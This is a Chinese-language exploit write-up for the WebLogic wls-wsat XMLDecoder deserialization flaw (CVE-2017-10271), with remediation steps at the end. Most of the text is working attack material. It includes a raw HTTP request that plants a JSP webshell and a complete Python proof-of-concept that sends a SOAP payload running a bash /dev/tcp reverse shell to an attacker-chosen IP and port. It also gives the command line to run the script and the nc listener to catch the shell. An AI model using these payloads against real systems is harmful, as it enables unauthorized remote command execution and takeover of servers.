一、漏洞描述
这个漏洞是wls-wsat这个接口出了问题,Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。
二、影响版本
- 10.3.6.0
- 12.1.3.0.0
- 12.2.1.1.0
三、影响组件
Weblogic的WLS Security组件
四、漏洞判断
环境搭建
打开web services组件
漏洞验证
拿大佬的webshell
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.116.144:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 646
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("webshell"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
打开burpsuite传入
任意代码执行
五、漏洞利用
大佬的poc
import requests # 导入 requests 库用于发送 HTTP 请求
import argparse # 导入 argparse 库用于解析命令行参数
if __name__ == '__main__':
# 创建命令行参数解析器
parse = argparse.ArgumentParser()
# 添加目标 URL 参数
parse.add_argument("url", type=str)
# 添加用于反向 shell 连接的 IP 地址参数,该参数是必需的
parse.add_argument("-s", "--shellIp", type=str, required=True)
# 添加用于反向 shell 连接的端口号参数,该参数是必需的
parse.add_argument("-p", "--port", type=str, required=True)
# 解析命令行参数
arguments = parse.parse_args()
# 获取目标 URL
url = arguments.url
# 获取用于反向 shell 连接的 IP 地址
shellIp = arguments.shellIp
# 获取用于反向 shell 连接的端口号
dPort = arguments.port
# 创建一个会话对象
req = requests.session()
# 设置代理,这里使用了本地的代理地址
req.proxies = {'http': "http://127.0.0.1:8080", 'https': "http://127.0.0.1:8080"}
# 构造 HTTP 请求头部
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Accept-Encoding": "gzip",
"Connection": "close",
"Content-Type": "text/xml",
"Content-Length": "599"
}
# 构造 SOAP 消息的 payload
payload = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"> <soapenv:Header>" \
"<work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">" \
"<java version=\"1.4.0\" class=\"java.beans.XMLDecoder\">" \
"<void class=\"java.lang.ProcessBuilder\">" \
"<array class=\"java.lang.String\" length=\"3\">" \
"<void index=\"0\">" \
"<string>/bin/bash</string>" \
"</void><void index=\"1\">" \
"<string>-c</string>" \
"</void><void index=\"2\">" \
"<string>bash -i >& /dev/tcp/" + shellIp + "/" + dPort + " 0>&1</string>" \
"</void>" \
"</array>" \
"<void method=\"start\"/></void>" \
"</java>" \
"</work:WorkContext>" \
"</soapenv:Header>" \
"<soapenv:Body/>" \
"</soapenv:Envelope>"
# 发送 HTTP POST 请求,尝试利用漏洞执行远程命令执行攻击
resq = req.post(url + "/wls-wsat/CoordinatorPortType", headers=headers, data=payload)
# 如果返回状态码为 500,表示攻击成功
if resq.status_code == 500:
print("poc发送成功")
print("请查看shell客户端")
else:
print("poc发送失败")
# python CVE-2017-10271.py http://192.168.116.144:7001 -s 192.168.116.151 -p 4444
攻击机打开 nc -l -p 4444监听
运行poc
这篇文章有反推的原理 WebLogic XMLDecoder反序列化漏洞 | 像风 (wxylyw.com)
六、漏洞修复
WebLogic没有对XML的数据进行任何的过滤,导致可以构造XML数据,反序列化任意对象,从而RCE,这也就是CVE-2017-3506产生的原因。
1、官方补丁修复
2、临时解决方案
根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。
根据实际环境路径,删除WebLogic wls-wsat组件:
rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
重启Weblogic域控制器服务:
DOMAIN_NAME/bin/stopWeblogic.sh #停止服务
DOMAIN_NAME/bin/startManagedWebLogic.sh #启动服务
删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面
参考 https://blog.csdn.net/yumengzth/article/details/97522783